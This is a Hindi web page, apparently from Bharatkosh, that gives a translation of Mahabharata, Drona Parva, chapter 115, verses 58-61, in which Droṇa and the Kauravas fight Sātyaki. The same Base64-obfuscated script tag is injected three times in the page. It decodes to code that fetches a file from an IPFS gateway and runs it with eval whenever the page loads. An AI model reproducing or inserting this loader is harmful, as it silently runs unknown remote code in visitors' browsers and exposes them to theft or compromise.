महाभारत द्रोण पर्व अध्याय 115 श्लोक 58-61

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

पंचदशाधिकशततम (115) अध्याय: द्रोण पर्व (जयद्रथवध पर्व)

महाभारत: द्रोण पर्व: पंचदशाधिकशततम अध्याय: श्लोक 58-61 का हिन्दी अनुवाद

आपके योद्धा शत्रुओं पर विजय पाने का उत्साह खो बैठे। अब वे भाग निकलने में ही में उत्साह दिखाने लगे और युद्ध से मुँह मोड़कर चारों और भाग गये ।राजन्! उसी समय शस्त्रधारियों में श्रेष्ठ द्रोणाचार्य अपने वेगशाली घोड़ों द्वारा महारथी युयुधान का सामना करने के लिये आ पहुँचे। शिनिपौत्र सात्यकि को बढ़ते देख नर श्रेष्ठ कौरव महारथी द्रोणाचार्य के साथ ही कुपित हो उनपर टूट पडे़। राजन्! फिर तो उस रण क्षेत्र में कौरवों सहित द्रोणाचार्य तथा सात्यकि का देवासुर-संग्राम के समान भयंकर युद्ध होने लगा।

इस प्रकार श्रीमहाभारत द्रोणपर्व के अन्‍तर्गत जयद्रथवधमेंसात्‍यकि के कौरव सेना में प्रवेशके अवसरपर जलसंध का वध नामक एक सौ पंद्रहवां अध्‍याय पूरा हुआ ।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:सम्पूर्ण महाभारत अभी निर्माणाधीन है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>